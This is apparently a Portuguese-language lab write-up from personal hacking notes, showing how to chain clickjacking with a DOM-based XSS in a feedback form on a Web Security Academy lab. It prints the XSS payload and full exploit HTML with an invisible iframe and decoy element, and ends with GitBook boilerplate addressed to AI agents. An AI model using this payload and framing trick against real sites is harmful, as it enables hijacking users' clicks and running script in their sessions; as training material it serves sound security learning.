> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking para Disparar XSS DOM

### Explorando a vulnerabilidade de Clickjacking para disparar XSS baseado em DOM

#### Objetivo

Levar um usuário a clicar em um botão ("Click Me") incorporado em um iframe para executar a `print()` função por meio de uma vulnerabilidade XSS acionada por clique.

<figure><img src="/files/aa408c2567e60143e50ce88582d65e2d9318363b" alt=""><figcaption></figcaption></figure>

#### Contexto / Observações

* O **formulário de feedback** tem um `parâmetro` nome vulnerável a um XSS em DOM (o payload JavaScript é executado quando a imagem falha e invoca a função desejada).
* Exemplo de payload detectado: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/5756a491ba9c62d73dd153edbe9e359121594da4" alt=""><figcaption></figcaption></figure>

* Outros parâmetros úteis para pré-preencher o formulário no frame: `email`, `assunto`, `mensagem`.

#### Payload usado

Para disparar `print()` por meio da vulnerabilidade em `parâmetro`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/e2dbf9f701c9893f62062342e9c6040d1ae6723a" alt=""><figcaption></figcaption></figure>

* Inclua um `<iframe>` apontando para a `/feedback` página vulnerável com parâmetros pré-preenchidos (`parâmetro`, `email`, `assunto`, `mensagem`) contendo o payload XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/ddeaa59274da2332ceb4cc82abb2f6b2adf3e200" alt=""><figcaption></figcaption></figure>

1. Faça o frame quase invisível (opacidade muito baixa) e sobreponha uma isca acima dele, posicionada de forma que o clique da vítima atinja o botão "Click Me" dentro do frame.
2. Quando a vítima clica na isca, o clique é transmitido para o frame e o XSS em DOM é acionado — aqui `print()` é chamado.

#### Exemplo de código para hospedar no servidor de exploração

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Clique</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/2856faf65aad2fa0eac1dc6ded941b184d40cd93" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e77944d08326f096a688c271df7aa79a9ce080dd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
